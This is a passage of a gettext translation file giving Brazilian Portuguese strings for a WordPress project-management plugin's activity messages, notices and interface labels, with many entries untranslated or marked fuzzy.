%s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s comentou em %s" + +# @ cpm +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s atualizou comentário em %s" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +# @ cpm +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s comentou em %s" + +# @ cpm +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s atualizou comentário em %s" + +# @ cpm +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s atualizou comentário em %s" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +# @ cpm +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "Projeto" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +# @ cpm +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "Lista de Tarefas" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +# @ cpm +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "Marco" + +# @ cpm +#: texts/resource_types.php:20 +#, fuzzy +#| msgid "%d comment" +#| msgid_plural "%d comments" +msgid "comment" +msgstr "%d comentário" + +# @ cpm +#: texts/resource_types.php:23 +#, fuzzy +#| msgid "%d file" +#| msgid_plural "%d files" +msgid "file" +msgstr "%d arquivo" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +# @ cpm +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "Nenhum comentário encontrado" + +# @ cpm +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "Nenhum Projeto encontrado" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +# @ cpm +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "Você tem certeza?" + +# @ cpm +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "Você quer mesmo excluir este projeto?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "Você quer mesmo excluir essa mensagem?" + +# @ cpm +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this project?" +msgid "Are you sure to delete this comment?" +msgstr "Você quer mesmo excluir este projeto?" + +# @ cpm +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "Adicionar Nova Mensagem" + +# @ cpm +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "Atualizar Mensagem" + +# @ cpm +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Atividades do Projeto" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Lista de Tarefas" + +# @ cpm +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "Marcos" + +# @ cpm +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Arquivos" + +# @ cpm +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Editar" + +# @ cpm +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "Excluir essa mensagem" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "Informe o título da mensagem" + +# @ cpm +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Adicionar Mensagem" + +# @ cpm +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Atualizar Mensagem" + +# @ cpm +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Iniciar um novo projeto" + +# @ cpm +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "Título do projeto" + +# @ wedevs +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Descrição sobre o projeto (opcional)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Adicionar Novo Projeto" + +# @ cpm +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Atualizar Projeto" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Editar Marco" + +# @ cpm +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "Excluir marco" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Marcar como finalizado" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "Título do Marco" + +# @ cpm +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Adicionar Marco" + +# @ cpm +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Atualizar Marco" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Adicionar Tarefa" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Atualizar Lista" + +# @ cpm +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Adicionar Lista" + +# @ cpm +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete milestone" +msgid "Delete List" +msgstr "Excluir marco" + +# @ cpm +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Salvar Alterações" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Atividade" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Excluir" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "Selecionar todos" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +# @ cpm +# @ wedevs +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "Cancelar" + +# @ cpm +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select all" +msgid "Select Color" +msgstr "Selecionar todos" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +# @ default +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Excluir Arquivo" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +# @ cpm +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Finalizado" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +# @ cpm +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Notificar Equipe" + +# @ cpm +#: views/assets/src/components/project-activities/activities.vue:46 +#, fuzzy +#| msgid "Load More..." +msgid "Load More ..." +msgstr "Saiba Mais..." + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Criar nova mensagem" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +#, fuzzy +#| msgid "Body" +msgid "By" +msgstr "Mensagem" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "Nenhum usuário encontrado" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Novo Projeto" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Tarefas" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Marcos Finalizados" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Finalizado em:" + +# @ cpm +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Marcos Atrasados" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Marcos Futuros" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "restante(s)" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Nova Lista de Tarefas" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to 